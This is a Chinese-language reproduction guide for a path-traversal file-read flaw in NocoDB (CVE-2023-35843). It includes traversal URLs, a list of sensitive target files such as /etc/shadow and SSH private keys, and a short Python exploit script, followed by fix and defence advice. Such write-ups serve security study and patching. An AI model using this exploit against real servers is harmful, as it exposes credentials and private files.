漏洞复现--NocoDB 任意文件读取(CVE-2023-35843)
字数 872 2025-08-10 12:18:03
NocoDB 任意文件读取漏洞(CVE-2023-35843)分析与复现指南
漏洞概述
CVE-2023-35843是NocoDB中存在的一个任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上的任意文件,可能导致敏感信息泄露。
受影响版本
- NocoDB 0.106.0及以下版本
漏洞原理
NocoDB在处理文件下载功能时,未对用户提供的文件路径进行充分验证,导致攻击者可以通过构造特殊的路径参数读取服务器上的任意文件。
环境搭建
安装受影响版本
docker pull nocodb/nocodb:0.106.0
docker run -d --name nocodb -p 8080:8080 nocodb/nocodb:0.106.0
漏洞复现步骤
-
访问NocoDB实例:
打开浏览器访问http://your-server-ip:8080 -
创建测试项目:
- 登录后创建一个新项目
- 在项目中创建一个表格并上传一个测试文件
-
获取文件下载URL:
- 上传文件后会生成类似以下格式的下载链接:
http://your-server-ip:8080/download/attachments/{project_id}/{file_name}
- 上传文件后会生成类似以下格式的下载链接:
-
构造恶意请求:
修改URL路径进行目录遍历攻击:http://your-server-ip:8080/download/attachments/../../../../../../etc/passwd -
验证漏洞:
- 如果服务器返回/etc/passwd文件内容,则漏洞存在
- 也可以尝试读取其他敏感文件如:
/etc/shadow ~/.ssh/id_rsa /proc/self/environ
漏洞利用脚本
import requests
def exploit_nocodb(url, file_to_read):
# 构造恶意URL
exploit_url = f"{url.rstrip('/')}/download/attachments/../../../../../../{file_to_read}"
try:
response = requests.get(exploit_url)
if response.status_code == 200:
print(f"[+] 成功读取文件 {file_to_read}:")
print(response.text)
else:
print(f"[-] 读取文件失败,状态码: {response.status_code}")
except Exception as e:
print(f"[-] 发生错误: {str(e)}")
# 使用示例
target_url = "http://victim-server:8080"
file_to_read = "etc/passwd" # 尝试读取的文件路径
exploit_nocodb(target_url, file_to_read)
修复方案
-
升级到安全版本:
NocoDB官方已在后续版本修复此漏洞,建议升级到最新版本:docker pull nocodb/nocodb:latest -
临时缓解措施:
- 在反向代理层添加路径过滤规则
- 限制NocoDB应用的运行权限
- 监控对/download/attachments/路径的异常访问
漏洞分析
漏洞根源在于NocoDB的文件下载功能未对用户提供的相对路径进行规范化处理和安全检查。当处理/download/attachments/路径时,应用程序直接拼接用户可控的路径参数,导致目录遍历攻击成为可能。
防御建议
- 对所有用户提供的文件路径进行规范化处理
- 实施严格的路径验证,禁止包含"../"等目录遍历序列
- 将文件下载功能限制在特定目录范围内
- 使用安全的文件访问API,如Java的Path.normalize()
参考链接
- NocoDB官方GitHub仓库
- CVE官方公告
- FreeBuf原始文章链接
免责声明
本文仅用于安全研究和教育目的。未经授权对他人系统进行测试是违法行为。请在法律允许范围内使用这些信息。